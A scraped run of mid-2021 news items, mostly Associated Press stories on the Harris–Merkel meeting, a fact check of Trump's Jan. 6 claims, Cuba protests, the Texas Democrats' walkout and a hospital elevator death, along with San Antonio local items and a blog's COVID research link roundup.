It underscores the special nature of this partnership and Americas special role in the world that she is able to host her at her home, said Phil Gordon, the vice presidents deputy national security advisor, told The Associated Press.

Harris and Merkel also will discuss the need to promote and defend democracy at home, acknowledging, frankly, that we face challenges in our own countries and we need to talk about that, Gordon said.

Also expected to come up is the U.S. withdrawal from Afghanistan, as well as the role of NATO and Germany in maintaining stability in Afghanistan in the aftermath.

Merkel will visit the White House later Thursday to meet with President Joe Biden. That session is expected to cover many of the same issues, in addition to the Nord Stream 2 gas pipeline from Russia to Germany, which his administration opposes.

In developing her diplomatic portfolio, Harris has taken on one of the administrations toughest tasks, addressing the root causes of migration to the United States from Mexico and Central America, and has held calls with world leaders.

Harris and Merkel are the first women to serve in their respective positions, and the chancellor highlighted Harris background when offering congratulations after Bidens election victory in November.

As the first woman in this office and the child of two immigrants, she is an inspiration for many people, an example of the opportunities of America, Merkel said. Im looking forward to getting to know her.

Merkel, after nearly 16 years in office, is retiring in the coming months after deciding not to seek a fifth term.

By ALEXANDRA JAFFE

Associated Press
AP FACT CHECK: Trump stokes Jan. 6 conspiracy theories View Photo

WASHINGTON (AP)  Former President Donald Trump is falsely describing the circumstances of Ashli Babbitts death as he foments conspiracy theories about the siege of the Capitol on Jan. 6 and all the love in the air that day.

In comments over the past week, Trump insinuated that a Democratic partisan shot Babbitt  it was actually a Capitol Police officer defending the House chamber from attackers such as her. And Trump said Babbitt was shot in the head  in reality she was shot in the shoulder and died from the wound.

The defeated presidents comments come as he and many of his supporters recast the pro-Trump insurrection as a patriotic display of spirit and faith and love, as he put it Sunday on Fox News Channel.

As thoroughly documented by video, photographs and people who were there, the attackers barged into the Capitol during hours of chaos, many of them hunting for lawmakers in hiding and for Trumps vice president, Mike Pence, who was there to certify Joe Bidens election victory.

Trump had exhorted his followers at a staging rally to fight like hell to deny Biden the presidency. Five people died in the attack that followed or its aftermath, and dozens of law enforcement officers were injured.

A look at Trumps recent remarks:

TRUMP: I will tell you they know who shot Ashli Babbitt. Theyre protecting that person. I have heard also that it was the head of security for a certain high official, a Democrat. And we will see, because its going to come out. Its going to come out.  on Fox News Sunday Morning Futures.

THE FACTS: No, the officer who shot and killed Babbitt was not head of security for a Democratic official. He is a police lieutenant on the 2,000-member Capitol Police force that protects the buildings and grounds.

The force guards members of Congress regardless of their party. Democratic and Republican lawmakers do not employ their own security services at the Capitol. All depend on the nonpartisan force as well as on local police officers in some cases. Trumps linking of the officer to a top Democrat is baseless.

A few high-ranking members of Congress, such as the House speaker, the House majority leader and the Senate majority leader, have an extra level of protection because their prominence and power may put them under greater threat. They are assigned a security detail made up of a small, rotating group of Capitol police and local officers depending on where they are.

The officer who shot Babbitt on Jan. 6 was not a member of such a security detail, according to law enforcement officials and the officers lawyer. He is assigned to security in the House. In any event, there is nothing Democratic or Republican about the security details for top members.

Babbitt was shot by the officer when she tried to climb through a door with the glass smashed out as she and others in the mob pressed to get into the Speakers Lobby outside the House chamber. She was unarmed.

Federal prosecutors cleared the officer of any wrongdoing after an investigation into the shooting and did not publicly name him. Capitol Police, concerned for his safety, have also not released his name. The officers attorney, Mark Schamel, said his client is facing many credible death threats and other horrific threats and was forced from his home because of them.

The Associated Press is not naming the officer because of the concerns for his safety.

The fact that the officer was not in uniform at the time has fed into the conspiracy theories that Trump is encouraging. Officers in the security details for high-ranking lawmakers wear plainclothes. But so do other members of the Capitol Police at times. It depends on their assignment.

___

TRUMP, demanding to know who is the person that shot Ashli Babbitt, boom, right through the head  why isnt that being studied?  speaking to reporters Wednesday in Bedminster, New Jersey.

TRUMP: Who is the person that shot  an innocent, wonderful, incredible woman, a military woman, right in the head?  Sunday in the Fox News interview.

THE FACTS: Babbitt was shot in the shoulder, not in the head, and the circumstances of her death were studied.

Babbitt, 35, was part of the mob breaching the House as Capitol Police officers were evacuating members of Congress from the chamber. The officers used furniture to try to barricade the glass doors separating the hallway from the Speakers Lobby to try to stave off the attackers, who kept trying to break through those doors, smashing the glass with flagpoles, helmets and other objects.

Babbitt, wearing a stars and stripes backpack, was attempting to climb through one of the doors where the glass was broken out, when the officer fired one round from his service weapon, striking her.

Federal prosecutors investigated the shooting for several months and announced in April there would be no criminal charges. Prosecutors reviewed video of the shooting, along with statements from the officer involved and other officers and witnesses. They examined physical evidence from the scene and reviewed the autopsy results.

Officers are allowed to use deadly force if there is a serious risk of harm to them or others. Authorities said they did not find grounds to charge the lieutenant.

Trump described his supporters that day in glowing terms. The crowd was unbelievable, he said Sunday. And I mentioned the word love. The love  the love in the air, I have never seen anything like it.

___

EDITORS NOTE  A look at the veracity of claims by political figures.

___

Find AP Fact Checks at http://apnews.com/APFactCheck.

Follow @APFactCheck on Twitter at https://twitter.com/APFactCheck.

By COLLEEN LONG and CALVIN WOODWARD

Associated Press
MIAMI (AP)  Demonstrators expressing solidarity with the thousands of Cubans who waged a rare weekend of protests around their island nation shut down a stretch of a major South Florida expressway Tuesday.

The large group gathered at a busy Miami intersection chanting support for the Cubans, who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other complaints.

A few miles (kilometers) away, hundreds of supporters gathered for hours Tuesday evening at a park. The peaceful crowd waved flags and cheered on the efforts of island protesters.

Flavia Perez, 16, was brought to the U.S. at age 1. She joined the rally at Tamiami Park, saying, Im here to support young Cubans on the island so they have the same opportunities as I have in the U.S."

South Florida is home to the largest U.S. population of Cuban Americans.

News helicopter footage from broadcaster WTVJ showed demonstrators earlier Tuesday marching to Miami's Palmetto Expressway, where many blocked traffic in the afternoon.

Elsewhere, Florida's Republican Gov. Ron DeSantis held a round table with elected officials, including members of Congress. The gathering at Miami's American Museum of the Cuban Diaspora was closed to reporters, but the governor later asserted that protests in Cuba were more than just about shortages of vaccines, food and other basic items.

They are revolting against a corrupt communist dictatorship that has ruled that island with an iron fist for over 60 years, that is responsible for death and destruction, not just on the island of Cuba but really throughout the Western Hemisphere, DeSantis said at a news conference.

He said the demonstrators desire a free society."

Nationwide protests last year under the Black Lives Matter movement drew attention to racial injustice in the U.S. after the killings of Black people by police. Earlier this year, DeSantis signed into Florida law a measure that enhances penalties against protestors who turn violent and allows criminal penalties against those who organize protests that turn violent. DeSantis dismissed similarities between Black Lives Matter and Tuesday's demonstrators.

These are people that are rebelling against a communist dictatorship, the governor said. He said the demonstrations in Miami were fundamentally different than what we saw last summer.

DeSantis, who is said to be considering a run for the White House in 2024, declined a direct response when asked how Democratic President Joe Biden's administration should handle Cuba policy. But he said federal officials shouldn't be satisfied with small Cuban government accommodations designed to quell demonstrations.

Republican U.S. Rep. Maria Elvira Salazar, the daughter of Cuban exiles, said the community needs to speak with one voice urging the Biden administration to stand tough against the Cuban government.

We cannot negotiate with the regime at this hour, Salazar said.

Meanwhile, the U.S. Coast Guard in Miami has been monitoring for any unsafe and illegal crossings between Florida and Cuba in response to rare street protests on the island.

Rear Adm. Eric C. Jones issued a warning statement Monday night as groups of Cuban immigrants said they planned to travel in boats filled with supplies to Cuba to show support for the Cuban protesters.

In Miami, Cuban social media personalities posted Monday that they would make the 10-hour boat ride to Cuba to show support after rare street protests broke out over the weekend, the Miami Herald reported. The influencers said they would bring aid  and guns  and urged people in Miami to offer up their boats.

One group gathered Monday night at a marina and people brought cases of bottled water, flashlights and boxes of canned pasta, the newspaper reported. Water, food, medicine, whatever we can take to Cuba. Whatever we can take to help is good, organizer Dennis Suayero told WSVN.

The group didn't get very far Monday night. A message posted on organizer Santiago Rivera's Instagram account early Tuesday said the Coast Guard stopped his group from traveling.

Over the weekend, thousands of Cuban Americans gathered in Miami's Little Havana in support of Cuban street marches against high prices and food shortages on the island. Such unsanctioned protests are extremely rare, and Cuban police were out in force Monday to control them.

The last such demonstrations in Havana took place in 1994. President Miguel Diaz-Canel accused Cuban Americans of using social media to egg them on.

Miami Mayor Francis Suarez, a Cuban American, tweeted that he has never felt such raw emotion from the people of Miami desperate for intervention by the government and by themselves on behalf of Cuba."

Miami wasnt the only Florida city where demonstrators gathered. For a second day, Cuban-Americans in Tampa gathered Tuesday at an intersection, blocking traffic and waving Cuban flags. Like the group in South Florida, Tampa demonstrators attempted to gain access to Interstate 275, but police held them back. Television images showed dozens of protesters in a city that traces its Cuban heritage back generations. Orlando also had hundreds of protestors blocking a busy street for about an hour Tuesday evening.
SRINAGAR, India (AP)  Government forces killed three suspected militants in a shootout in Indian-controlled Kashmir on Wednesday, officials said, triggering anti-India protests and clashes between troops and residents.

The Indian military said militants opened fire at soldiers and police as counterinsurgency troops surrounded a neighborhood in the southern town of Pulwama on a tip that militants were hiding there.

Troops retaliated and trapped the militants in a house, a statement by the military said. Three militants were killed in an ensuing eight-hour operation and two rifles and a pistol were recovered from the site, the statement said.

Villagers said troops set fire to one house and blasted another with explosives, a common anti-militancy tactic employed by Indian troops in the disputed Himalayan region.

Authorities issued a curfew in Pulwama town and cut off internet on mobile phone services, a tactic aimed at making organizing anti-India protests difficult and discouraging dissemination of protest videos.

Shortly after the shootout, anti-India protesters threw stones at government forces and chanted slogans seeking end of Indian rule over the region. Government forces fired tear gas at the protesters. No one was reported injured during the clashes.

Locals said government troops detained several people and forced them to sit in front of them as shields during the clashes.

Wednesdays fighting comes amid a surge in violence in the region, which is divided between India and Pakistan with both the nuclear-armed rivals claiming it in its entirety.

Last week, authorities in the region also dismissed 11 Kashmiris from their government jobs for alleged links with rebel groups. They included two sons of a top Kashmiri rebel commander who is based in Pakistani-controlled Kashmir and two police officials.

Rebels in Kashmir have been fighting Indian rule since 1989. Most Muslim Kashmiris support the rebel goal of uniting the territory, either under Pakistani rule or as an independent country.

India insists the Kashmir militancy is Pakistan-sponsored terrorism. Pakistan denies the charge, and most Kashmiris consider it a legitimate freedom struggle.

Tens of thousands of civilians, rebels and government forces have been killed in the conflict.
MEXICO CITY (AP)  A Mexican appeals court has overturned the acquittal of 1990s drug lord Hector El Guero Palma, prosecutors said Tuesday, a development that staved off an international embarrassment had he walked free.

A lower court ordered Palma freed in April. But prosecutors appealed, arguing the lower court improperly applied the double jeopardy rule. The appeals court threw out the acquittal, ruling the organized crime case against Palma was not equivalent to trying him twice for the same offense.

Palma was taken to Mexicos maximum security Altiplano prison after the ruling. In May, a judge had ordered Palma held for 40 more days in non-prison custody pending investigation, as a last-ditch measure to keep him from walking free.

President Andres Manuel Lopez Obrador said Palmas release could affect Mexicos international reputation.

Almost eight years ago, another drug lord, Rafael Caro Quintero, walked out of a Mexican prison late at night with an improperly ordered his release from a 40-year sentence for the torture-murder of U.S. Drug Enforcement Administration agent Enrique Kiki Camarena in 1985. He has since returned to drug trafficking and unleashed bloody turf battles in the northern Mexico border state of Sonora.

The issue is a sensitive one. Mexicos government is beginning to earn a reputation as one that, under Lopez Obrador, has released more drug lords than it has captured, part of the presidents stated policy of no longer detaining drug lords to avoid violence.

Lopez Obrador has acknowledged that he overrode the initial advice of his own advisers who suggested after Palma's acquittal that there was nothing more the government could do to keep him in custody.

When they told me (about the release order), the first thing I said is wait, look for some legal mechanism, Lopez Obrador said.

Look for it, the president said he added, because this is not just a matter of a judge or the judicial branch or the government, this is a matter of national interest. The Mexican government cannot be denigrated, weakened.

Known as El Guero, or Blondie, Palma was a founder and leader of the Sinaloa cartel, along with imprisoned drug lord Joaquin El Chapo Guzman. He and Guzman drew unwanted attention in 1993 when a Roman Catholic cardinal was killed in a shootout between Sinaloa gunmen and the rival Arellano Felix gang at an airport in Guadalajara. The gunmen apparently mistook the cardinals luxury car for that of a rival.

Palma was arrested in Mexico in 1995, and served 12 years in Mexico on bribery and weapons charges before he was extradited to the United States in 2007, where he served nine years of a 16-year sentence for cocaine trafficking. He was sent back to Mexico, where he was held for trial on the charges that the lower court acquitted him on.
AUSTIN, Texas (AP)  Texas Democrats who hurriedly took off to Washington to block sweeping new election laws urged Congress on Tuesday to quickly pass legislation protecting voting rights, while Republican Gov. Greg Abbott threatened them with arrest the moment they return.

Speaking to reporters outside the Capitol, the Democrats were realistic about the limits of their gambit, noting they can hold up the GOP-backed proposals at home for only so long and arguing that only federal legislation would prevent some of the new restrictions from becoming law. In Austin, House Republicans authorized state troopers to find and corral missing legislators, while a depleted but still-working state Senate passed new voting restrictions in a show of GOP resolve.

We cant hold this tide back forever. Were buying some time. We need Congress and all of our federal leaders to use that time wisely, Democratic state Rep. Chris Turner said, gathered with his fellow quorum-breakers outside the U.S. Capitol.

The Democrats' dramatic exodus was in part aimed at rallying their voters on what they see as a priority issue ahead of the 2022 midterms, and at pressuring President Joe Biden to act as federal voting legislation has stalled for months in the Senate. But just as they began getting settled in Washington, Biden appeared to tacitly acknowledge the fading hopes for the bills during a speech in Philadelphia.

Biden called efforts to curtail voting accessibility un-American and un-democratic and launched a broadside against his predecessor, Donald Trump, who baselessly alleged misconduct in the 2020 election after his defeat. More than a dozen states this year have already passed tougher election laws, but only in Texas have Democrats put up this kind of fight.

Back in Texas, Republicans in the unusually skeletal state Capitol authorized finding and bringing back more than 50 lawmakers under warrant of arrest if necessary. However, because state troopers have no jurisdiction beyond Texas, the move has little practical effect in the short term.

Abbott has already threatened Democrats with arrest once they come back home, which may not be until the current 30-day special session ends in August. Though that would successfully stymie the GOP's current effort, Abbott has vowed to keep trying until the 2022 elections if necessary.

We think things have been delayed, not denied," said state Rep. Jim Murphy, the House GOP caucus leader.

In the state Senate, where nine Democrats didnt show up  not enough to also deny quorum  Republicans passed their version of a voting bill even though that is now as far as it can go.

After House Republicans authorized sending out troopers, a sergeant-at-arms locked the chamber doors. Four Democrats who did not go to Washington were among the lawmakers still inside, while the voting mechanisms on the desks of absent Democrats were locked. A spokesman for the Texas Department of Public Safety, which oversees state troopers and the Texas Rangers, did not comment about what measures might be taken.

The move was expected after Democrats boarded private planes Monday to deny them the quorum necessary to conduct business  namely, passing one of America's most restrictive voting measures. Other lighting-rod conservative issues that Abbott put on the agenda  including how race is taught in schools and new abortion restrictions  also were shelved with the Legislature now at a standstill.

State Rep. Eddie Morales, one of the Democrats who stayed behind, said it was his understanding that troopers would not leave Texas.

I was told they will go to your home back in your district, they will go to your place of work, they will got to your apartment in Austin or wherever you live close by when you're in session. And also family and friends that they may know of," he said.

Abbott has said Republicans will not be deterred.

As soon as they come back in the state of Texas, they will be arrested, they will be cabined inside the Texas Capitol until they get their job done, Abbott told Austin television station KVUE.

It was the second time that Democratic lawmakers have staged a walkout over the voting overhaul, which they say will make it harder for young people, people of color and people with disabilities to vote. The legislation would outlaw 24-hour polling places, ban drop boxes for mail ballots and empower partisan poll watchers. Republicans say the measures are needed to fight fraud. Democrats counter that fraud is very rare and the bills target their supporters.

Texas has a history of attention-getting political tactics. Democrats, shut out of power in the Texas Capitol for decades, last left the state in 2003 in an ultimately failed effort to thwart a redistricting plan. That year, troopers went to Ardmore, Oklahoma, and asked them to come home. But they were unable to arrest the lawmakers without a warrant issued by Oklahoma authorities, and the lawmakers refused the troopers request.

One of the first meetings Texas Democrats had on their first full day in Washington was with Senate Majority Leader Chuck Schumer. For Democrats, the Senate filibuster rule stands in the path of sweeping federal legislation that would create national standards for voting and could roll back some restrictions that have been approved or are advancing in Republican-led states.

These folks are going to be remembered on the right side of history, the New York Democrat told reporters. The governor and the Republican legislators will be remembered on the dark and wrong side of history.

___

Slodysko reported from Washington. Associated Press writer Jim Vertuno contributed to this report.
Associated Press Writer

Witnesses gave police differing accounts of the final moments of the life of Dr. Hitoshi Nikaidoh, whose head was severed just above his lower jaw after he became lodged in an elevator's doors two weeks ago.

Dr. Canaan L. Harris, who was outside the elevator, told police Nikaidoh extended his arms "apparently to try and hold the doors open" and put his leg up to enter the moving elevator at Christus St. Joseph Hospital. Physician's assistant Karin Steinau, who was inside, said Nikaidoh became trapped as he entered the elevator and the doors closed on him.

"I'm not going to talk about that," Harris told The Associated Press on Sunday. "You can review the police report and that will give you all the information you need."

Attorney Howard Nations, representing Nikaidoh's family in a lawsuit against the elevator's manufacturer and maintenance company, disputed Harris' recollection of the 35-year-old surgical resident's actions on Aug. 16.

"There is no indication of bruising on his leg," Nations said Sunday. "How do you get from the leg being inside a rising elevator to the head being trapped inside a moving elevator? It defies logic and it defies the physical facts."

Nations suggested that Nikaidoh simply outstretched his arms in relief that the elevator was operating after being out of service for a few days.

"I was told by a nurse  that as Dr. Nikaidoh approached the elevator, he put his arms up and said, 'Ahh, it is working today,'" Nations said. "His arms were not extended to try and stop the elevator from moving."

Nikaidoh died from multiple blunt force injuries to his head and body, the Harris County Medical Examiner's office ruled. No one at the medical examiner's office Sunday could discuss whether there were injuries to Nikaidoh's legs.

Nikaidoh's body was found at the bottom of the elevator shaft along with two pagers, a cell phone and an electronic organizer that police believed belonged to him. He was dressed in scrubs and a lab coat.

Police noted that Nikaidoh's "head suffered major trauma, with only the lower jaw line area visible."

The upper portion of his head was found in the elevator, which stopped between the fourth and fifth floors. Steinau also was in the elevator. She was treated in the hospital's emergency room.

A day later, she recounted for police that the elevator had been closed for a couple of days but no longer had an "out of service" sign on it when she summoned it to go to the sixth floor.

She said when the elevator arrived, she got on and pushed the button for the sixth floor. As Steinau turned around, she saw Nikaidoh approaching and said he became trapped by the doors as he stepped inside.

"She immediately began to try and find the emergency stop button on the elevator but was unable to do so before the elevator had partially decapitated the (doctor)," the police report states. "Witness states that the elevator continued upward before it stopped between floors."

Steinau was trapped for more than an hour.

She did not return a phone message from the AP Sunday.

"She has got to be suffering tremendously from this from shock and such a horrible experience," Nations said.

Mike Lubben, a vice president with Kone Inc., the company hired to maintain the hospital's elevators, said the Otis elevator was installed in 1967 and his company had been servicing it since 1999.

"I have not seen the police report," he said regarding the conflicting witness statements. "It is a tragic accident and our hearts go out to the family. We are continuing to work with the authorities and the hospital to try and find the root cause."

Elizabeth Young, a spokeswoman for Otis Elevator Co., declined to comment Sunday other than to say the company extends its sympathies to Nikaidoh's family and was assisting authorities investigation.

Testing on the elevator is to continue this week.

Hospital spokeswoman India Chumney Hancock said staff members are trying to resume normal operations.

"We have not had the opportunity to review the Houston Police Department's report," she said. "We want all of those involved to complete their reports, so we can better understand what happened before we can answer any questions

"At this point, it is all speculation."
Next month, the Dakota East Side Ice House will be filled with female conjunto empowerment that only San Antonio could pull together.

Conjunto Heritage Taller (CHT), a community organization which provides low-cost  and at times free  music instruction across San Antonio to preserve the tradition, is hosting a August 7 tardeada at the Eastside spot to focus on the women in the industry.

Valeria Alderete, the CHT programming and marketing director, tells MySA the event is "special" for a list of reasons: it's only the second in-person gathering since the group ceased events due to the pandemic, it's the first female-focused tardeada since 2019, and it will highlight up-and-coming acts paired with CHT students.

RELATED: San Antonio woman is the oldest U.S. Olympic judoka in history

Alderete says a gender gap is prevalent in the genre and events like this work to promote the female voices.

"This is the first tardeada where we strictly focused on trying to contract more up-and-coming youth females, because the genre has traditionally been more male dominated," Alderete adds.

The free, all-ages event will begin at 6 p.m. with a performance by CHT students, followed by Brenda Martinez, Crystal N' Crew, Christina Valdez, Susan Torres with Conjunto Los Pinkys, and Veronique Medrano. The female-led acts converging on San Antonio are coming from South Texas, Houston, and Austin. CHT tapped San Antonio's Marlene Mejia to design the flyer, furthering their mission of empowering women in the arts.

Medrano, a Brownsville native, says her upcoming performance will be her first in more than a year.

"I haven't performed since February 2020, right before the pandemic shut down," she adds. "So I'm looking forward to have my first performance be with an organization that is celebrating women in the conjunto industry. San Antonio being my first big performance is an exciting honor and fitting."

Medrano splits time between the Rio Grande Valley and the Alamo City. She takes pride in the event happening in San Antonio because it's the considered the "home" of conjunto, she says.

READ MORE FROM MADALYN: The Good Kind is hosting a watch party for chef Tim McDiarmid's 'Chopped' appearance

The night will also honor Eva Ybarra, the San Antonio legend known as the "queen of the accordion," for her contributions to conjunto.

"We also want to honor and pay tribute to some of the women who have opened doors for younger women to participate in the genre," Aderete says, adding that Ybarra is who people "immediately associate" as a trailblazer for conjunto.

A raffle for an accordion will also be hosted at the tardeada. Alderete says information on how to purchase raffle tickets will be shared on the Facebook event page.

The Dakota East Side Ice House is located at 433 South Hackberry. The tardeada is scheduled for 6 to 10 p.m.
Photo courtesy Arlene Mejorado

La Botanica may be closed, but Saytown fans of the restaurant can have two chances to experience those flavors again this weekend.

Chef Rebel Mariposa will be bringing her Mexican fusion fare to two events over the weekend  the sixth annual Cactus Blossom Mission Heritage Dinner and Friyay in Peacock Alley.
3 1 of 3 Courtesy, Holland Lawrence Show More Show Less 2 of 3 Mike Sutter /Staff Show More Show Less 3 of 3





Two years into the bagels and bread business, Wild Barley Kitchen Co. is moving into new digs at the former Lee's El Taco Garage location.

Co-owner Holland Lawrence tells MySA the company's first brick-and-mortar is expected to open at 8403 Broadway by mid-fall. Lawrence and business partner Marc Fogelsong will continue serving out of the trailer at Broadway News food truck park until the opening.
Tyler Sizemore / Hearst Connecticut Media

By this fall, San Antonio should be home to four locations of Cava, the Washington, D.C.-based brand known for customizable Mediterranean bowls.

According to filings with the Texas Department of Licensing and Regulation, the fast-casual restaurant is working on interior alterations to transform four Zoe's Kitchen spots into Cava locations. The filings are for addresses at The Rim, The Strand at Huebner Oaks, Lincoln Heights, and Sonterra.
HAVANA (AP)  Thousands of Cubans marched on Havanas Malecon promenade and elsewhere on the island Sunday to protest food shortages and high prices amid the coronavirus crisis, in one of biggest anti-government demonstrations in memory.

Many young people took part in the afternoon protest in the capital, which disrupted traffic until police moved in after several hours and broke up the march when a few protesters threw rocks.

Police initially trailed behind as protesters chanted Freedom, Enough and Unite. One motorcyclist pulled out a U.S. flag, but it was snatched from him by others.

We are fed up with the queues, the shortages. Thats why Im here, one middle-age protester told The Associated Press. He declined to identify himself for fear of being arrested later.

Cuba is going through its worst economic crisis in decades, along with a resurgence of coronavirus cases, as it suffers the consequences of U.S. sanctions imposed by the Trump administration.

An official in the Biden administration tweeted support for Sunday's demonstrations.

Peaceful protests are growing in #Cuba as the Cuban people exercise their right to peaceful assembly to express concern about rising COVID cases/deaths & medicine shortages. We commend the numerous efforts of the Cuban people mobilizing donations to help neighbors in need, tweeted Julie Chung, acting assistant secretary for state for Western Hemisphere affairs.

Cubas director general for U.S. affairs, Carlos F. de Cossio, dismissed her remarks in his own tweet: US State Department and its officials, involved to their necks in promoting social and political instability in #Cuba, should avoid expressing hypocritical concern for a situation they have been betting on. Cuba is and will continue to be a peaceful country, contrary to the US.

The demonstration grew to a few thousand in the vicinity of Galeano Avenue and the marchers pressed on despite a few charges by police officers and tear gas barrages. People standing on many balconies along the central artery in the Centro Habana neighborhood applauded the protesters passing by. Others joined in the march.

Although many people tried to take out their cellphones and broadcast the protest live, Cuban authorities shut down internet service throughout the afternoon.

About 2 1/2 hours into the march, some protesters pulled up cobblestones and threw them at police, at which point officers began arresting people and the marchers dispersed.

AP journalists counted at least 20 people who were taken away in police cars or by individuals in civilian clothes.

The people came out to express themselves freely, and they are repressing and beating them, Rev. Jorge Luis Gil, a Roman Catholic priest, said while standing at a street corner in Centro Habana.

About 300 people close to the government then arrived with a large Cuban flag shouting slogans in favor of the late President Fidel Castro and the Cuban revolution. Some people from the group assaulted an AP videojournalist, disabling his camera, while an AP photojournalist was injured by the police.

Demonstrations were also held elsewhere on the island, including the small town of San Antonio de los Banos, where people protested power outages and were visited by President Miguel Diaz-Canel. He entered a few homes, where he took questions from residents.

Afterward, though, he accused Cuban of stirring up trouble.

As if pandemic outbreaks had not existed all over the world, the Cuban-American mafia, paying very well on social networks to influencers and Youtubers, has created a whole campaign ... and has called for demonstrations across the country, Diaz-Canel told reporters.
TOKYO (AP)  IOC President Thomas Bach referred to his Japanese hosts as Chinese when he appeared in public on Tuesday for the first time since arriving in Tokyo last week.

Giving a pep talk at the headquarters of the Tokyo Olympics organizing committee, Bach's opening remarks were, You have managed to make Tokyo the best-ever prepared city for the Olympic Games. This is even more remarkable under the difficult circumstances we all have to face.

Bach tripped over his words, referring to the Chinese people rather than Japanese people.

"Our common target is safe and secure games for everybody; for the athletes, for all the delegations, and most importantly also for the Chinese people -- Japanese people, Bach said, catching his mistake quickly.

Bach's comments in the briefing were interpreted from English to Japanese, but the slip was not included in the interpretations. Still, the Japanese media quickly reported it and there was backlash on social media.

He ended his speech with a Japanese phrase: Gambari mashou, which translates as Lets do our best.

The pandemic-postponed Olympics open in 10 days.

Bach spent his first three days in isolation at the International Olympic Committees five-star hotel in central Tokyo, and his movements are limited  like almost everyone entering for the Olympics  for the first 14 days.

Organizers and the IOC decided last week to ban fans from all but a handful of outlying venues, a move that came after the Japanese government instituted a state of emergency in Tokyo forced by rising coronavirus cases. The state of emergency went into force on Monday and runs through Aug. 22.

The state of emergency will be in effect throughout the entire duration of the Olympics, which open on July 23 and close on Aug. 8. Its main impact is to push bars and restaurants to close early and stop selling alcohol, a move aimed at cutting down circulation on crowded trains.

Bach's visit on Tuesday coincided with the official opening of the Olympic Village on Tokyo Bay. Organizers did not offer an immediate count of how many athletes were on hand.

Bach is scheduled to visit Hiroshima on Friday in an effort to tie the Olympics to the citys effort to promote world peace. IOC Vice President John Coates is to visit Nagasaki the same day.

Japan's Kyodo news has reported that a group in Hiroshima is opposing Bach's visit.

A small group of protesters gathered on Saturday outside Bach's hotel carrying placards that said he was unwelcome in Tokyo.

Organizers have been criticized for pressing ahead with the Olympics during the pandemic amid polls that show  depending on how the question is phrased  that 50%-80% of the public oppose the Olympics taking place.

The Olympics will involve 11,000 athletes entering Japan along with tens of thousands of others including officials, judges, media, and broadcasters.

Also on Tuesday, police in Tokyo said a group of four U.S. and British men working for a power company contracted to the Olympics were arrested on suspicion of using cocaine.

Aggreko Events Services Japan confirmed it employed the suspects and apologized for the trouble. NHK public television reported the four suspects entered Japan from February to May and were staying in Tokyo.

New virus cases in Tokyo were reported at 830, up from 593 one week ago. It is the 24th straight day that cases were higher than seven days previous.

The office of the Japanese prime minister said Tuesday that 18.5% of Japanese are fully vaccinated.

___

More AP Olympics: https://apnews.com/hub/olympic-games and https://twitter.com/AP_Sports
On Tuesday, July 13, San Antonio Mayor Ron Nirenberg joined 369 other mayors across the country in signing off on a bipartisan letter to Congress, urging them to take immediate action on President Bidens Bipartisan Infrastructure Framework.

The Framework, announced on June 24, aims to devote time and money toward transportation infrastructure, clean water infrastructure, universal broadband, clean power, remediation of legacy pollution, and greater resilience to the changing climate.

RELATED: Former San Antonio Mayor Julian Castro joins NBC News, MSNBC as a political analyst

The thesis of the mayoral letter to Congress states, This framework would be the largest long-term investment in our nation's infrastructure and competitiveness in nearly a century  $1.2 trillion over eight years  to help make our economy more sustainable, resilient, and just.

First, we strongly urge that no funding previously signed into law to help cities address the health, public safety and economic impacts of the COVID-19 pandemic be clawed back, repurposed or redirected to help pay for new investments in Americas infrastructure. Second, we call on our federal leaders to continue to empower local decision-makers by investing federal resources to help us build stronger communities and lift up those who have suffered so much during this pandemic  many of whom never fully recovered from the economic meltdown of 08.

The letter from the United States Conference of Mayors goes on to frame specific avenues through which this plan can make a commitment to localism, by investing directly into cities through grants.

RELATED: Gov. Greg Abbott issues scathing response to Texas Dems dramatic block on voting bills

On Tuesday night, Senate Democrats agreed on a $3.5 trillion budget plan that would touch on some of the pillars of Biden's Infrastructure plan, like the expansion of Medicare and funding of climate-change initiatives, that they hope to pass on top of a bipartisan infrastructure bill. Whether either passes and under what parameters remains to be seen.
Happy Bastille Day!

Giant goldfish problem in US lake prompts warning to pet owners BBC

Fintech and the digital transformation of financial services: implications for market structure and public policy (PDF) Bank of International Settlements

On the decline since Panama Papers, Malta punished for dirty money reputation ICIJ

Got an Old Power Plant Lying Around? Crypto Miners Are Buying Them Up Curbed

Okapi Resources lands transformational US uranium deal The West Australian

#COVID19

Reprogrammed CRISPR-Cas13b suppresses SARS-CoV-2 replication and circumvents its mutational escape through mismatch tolerance Nature. The Abstract concludes: [T]he recent dramatic appearance of variants of concern of SARS-coronavirus-2 (SARS-CoV-2) highlights the need for innovative approaches that simultaneously suppress viral replication and circumvent viral escape from host immunity and antiviral therapeutics. The specificity, efficiency and rapid deployment properties of reprogrammed Cas13b described here provide a molecular blueprint for antiviral drug development to suppress and prevent a wide range of SARS-CoV-2 mutants, and is readily adaptable to other emerging pathogenic viruses. Good to finally see some focus on treatment. And CRISPR as a platform, hmm

Coronavirus Today: Where are the COVID-19 treatments? Los Angeles Times. Waiting for the emergency use authorizations to expire, I would imagine.

* * *

Transmission event of SARS-CoV-2 Delta variant reveals multiple vaccine breakthrough infections (preprint) medRxiv (Furzy Mouse). From the Introduction: Here we describe a transmission of a Delta variant containing SARS-CoV-2 strain, between family members associated with events surrounding a wedding with 92 attendees, near Houston, Texas. Attendance required guests be fully vaccinated and took place outdoors in a large, open-air tent. To date, 6 individuals have tested positive for SARS-CoV-2, all patients were symptomatic, one patient severely enough to receive monoclonal antibody infusion treatment (Regeneron Pharmaceuticals Inc.) and one patient has died. Encounter timings and viral sequence similarities suggest the strain containing the Delta variant was transmitted to wedding guests from two patients travelling from India [and how the hell did that happen?]. With no history of vaccine failure in these patients, our observations suggest these are true cases of vaccine breakthrough, mediated by the Delta variant. Outdoors, too. As with the fleeting encounters in Australia, masking at the event is not described.

CDC says roughly 4,100 people have been hospitalized or died with Covid breakthrough infections after vaccination CNBC

Infection and Vaccine-Induced Neutralizing-Antibody Responses to the SARS-CoV-2 B.1.617 Variants (letter) New England Journal of Medicine. Delta. Final sentence: [P]rotective immunity conferred by the mRNA vaccines is most likely retained against the B.1.617.1 and B.1.617.2 variants.

Sinovac-produced antibodies halve every 40 days Bangkok Post (Furzy Mouse). n=500. Study from Thammasat Universitys faculty of medicine and the National Centre for Genetic Engineering and Biotechnology. I havent been able to find the paper online. So much for Chinas vaccine diplomacy.

* * *

